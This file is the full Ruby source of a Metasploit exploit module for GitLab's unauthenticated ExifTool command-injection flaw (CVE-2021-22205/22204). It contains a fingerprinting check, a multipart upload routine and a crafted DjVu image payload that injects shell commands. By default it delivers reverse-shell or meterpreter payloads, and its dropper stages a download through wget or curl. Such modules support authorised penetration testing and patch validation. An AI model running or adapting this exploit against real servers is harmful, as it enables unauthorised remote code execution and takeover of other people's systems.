##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'GitLab Unauthenticated Remote ExifTool Command Injection',
        'Description' => %q{
          This module exploits an unauthenticated file upload and command
          injection vulnerability in GitLab Community Edition (CE) and
          Enterprise Edition (EE). The patched versions are 13.10.3, 13.9.6,
          and 13.8.8.

          Exploitation will result in command execution as the git user.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'William Bowling',  # Vulnerability discovery and CVE-2021-22204 PoC
          'jbaines-r7'        # Metasploit module
        ],
        'References' => [
          [ 'CVE', '2021-22205' ], # GitLab
          [ 'CVE', '2021-22204' ], # ExifTool
          [ 'URL', 'https://about.gitlab.com/releases/2021/04/14/security-release-gitlab-13-10-3-released/' ],
          [ 'URL', 'https://hackerone.com/reports/1154542' ],
          [ 'URL', 'https://attackerkb.com/topics/D41jRUXCiJ/cve-2021-22205/rapid7-analysis' ],
          [ 'URL', 'https://security.humanativaspa.it/gitlab-ce-cve-2021-22205-in-the-wild/' ]
        ],
        'DisclosureDate' => '2021-04-14',
        'Platform' => ['unix', 'linux'],
        'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
        'Privileged' => false,
        'Targets' => [
          [
            'Unix Command',
            {
              'Platform' => 'unix',
              'Arch' => ARCH_CMD,
              'Type' => :unix_cmd,
              'Payload' => {
                'Space' => 290,
                'DisableNops' => true,
                'BadChars' => '#'
              },
              'DefaultOptions' => {
                'PAYLOAD' => 'cmd/unix/reverse_openssl'
              }
            }
          ],
          [
            'Linux Dropper',
            {
              'Platform' => 'linux',
              'Arch' => [ARCH_X86, ARCH_X64],
              'Type' => :linux_dropper,
              'CmdStagerFlavor' => [ 'wget', 'lwprequest', 'curl', 'printf' ],
              'DefaultOptions' => {
                'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp'
              }
            }
          ]
        ],
        'DefaultTarget' => 1,
        'DefaultOptions' => {
          'MeterpreterTryToFork' => true
        },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
        }
      )
    )
    register_options([
      OptString.new('TARGETURI', [true, 'Base path', '/'])
    ])
  end

  def upload_file(file_data, timeout = 20)
    random_filename = "#{rand_text_alphanumeric(6..12)}.jpg"
    multipart_form = Rex::MIME::Message.new
    multipart_form.add_part(
      file_data,
      'image/jpeg',
      'binary',
      "form-data; name=\"file\"; filename=\"#{random_filename}\""
    )

    random_uri = normalize_uri(target_uri.path, rand_text_alphanumeric(6..12))
    print_status("Uploading #{random_filename} to #{random_uri}")
    send_request_cgi({
      'method' => 'POST',
      'uri' => random_uri,
      'ctype' => "multipart/form-data; boundary=#{multipart_form.bound}",
      'data' => multipart_form.to_s
    }, timeout)
  end

  def check
    # Checks if the instance is a GitLab install by looking for the
    # 'About GitLab' footer or a password redirect. If that's successful
    # a bogus jpg image is uploaded to a bogus URI. The patched versions
    # should never send the bad image to ExifTool, resulting in a 404.
    # The unpatched versions should feed the image to the vulnerable
    # ExifTool, resulting in a 422 error message.
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, '/users/sign_in')
    })

    unless res
      return CheckCode::Unknown('Target did not respond to check.')
    end

    # handle two cases. First a normal install will respond with HTTP 200.
    # Second, if the root password hasn't been set yet then this will
    # redirect to the password reset page.
    unless (res.code == 200 && res.body.include?('>About GitLab<')) ||
           (res.code == 302 && res.body.include?('/users/password/edit?reset_password_token'))
      return CheckCode::Safe('Not a GitLab web interface')
    end

    res = upload_file(rand_text_alphanumeric(6..32))
    unless res
      return CheckCode::Detected('The target did not respond to the upload request.')
    end

    case res.code
    when 422
      if res.body.include?('The change you requested was rejected.')
        return CheckCode::Vulnerable('The error response indicates ExifTool was executed.')
      end
    when 404
      if res.body.include?('The page could not be found')
        return CheckCode::Safe('The error response indicates ExifTool was not run.')
      end
    end

    return CheckCode::Detected
  end

  def execute_command(cmd, _opts = {})
    # printf needs all '\' to be double escaped due to ExifTool parsing
    if cmd.start_with?('printf ')
      cmd = cmd.gsub('\\', '\\\\\\')
    end

    # header and trailer are taken from William Bowling's echo_vakzz.jpg from their original h1 disclosure.
    # The 'cmd' variable is sandwiched in a qx## function.
    payload_header = "AT&TFORM\x00\x00\x03\xAFDJVMDIRM\x00\x00\x00.\x81\x00\x02\x00\x00\x00F\x00\x00"\
      "\x00\xAC\xFF\xFF\xDE\xBF\x99 !\xC8\x91N\xEB\f\a\x1F\xD2\xDA\x88\xE8k\xE6D\x0F,q\x02\xEEI\xD3n"\
      "\x95\xBD\xA2\xC3\"?FORM\x00\x00\x00^DJVUINFO\x00\x00\x00\n\x00\b\x00\b\x18\x00d\x00\x16\x00IN"\
      "CL\x00\x00\x00\x0Fshared_anno.iff\x00BG44\x00\x00\x00\x11\x00J\x01\x02\x00\b\x00\b\x8A\xE6\xE1"\
      "\xB17\xD9\x7F*\x89\x00BG44\x00\x00\x00\x04\x01\x0F\xF9\x9FBG44\x00\x00\x00\x02\x02\nFORM\x00\x00"\
      "\x03\aDJVIANTa\x00\x00\x01P(metadata\n\t(Copyright \"\\\n\" . qx#"
    payload_trailer = "# . \\\x0a\" b \") )" + (' ' * 421)

    res = upload_file(payload_header + cmd + payload_trailer, 5)

    # Successful exploitation can result in no response (connection being held open by a reverse shell)
    # or, if the command executes immediately, a response with a 422.
    if res && res.code != 422
      fail_with(Failure::UnexpectedReply, "The target replied with HTTP status #{res.code}. No reply was expected.")
    end

    print_good('Exploit successfully executed.')
  end

  def exploit
    print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
    case target['Type']
    when :unix_cmd
      execute_command(payload.encoded)
    when :linux_dropper
      # payload is truncated by exiftool after 290 bytes. Because we need to
      # expand the printf flavor by a potential factor of 2, halve the linemax.
      execute_cmdstager(linemax: 144)
    end
  end
end
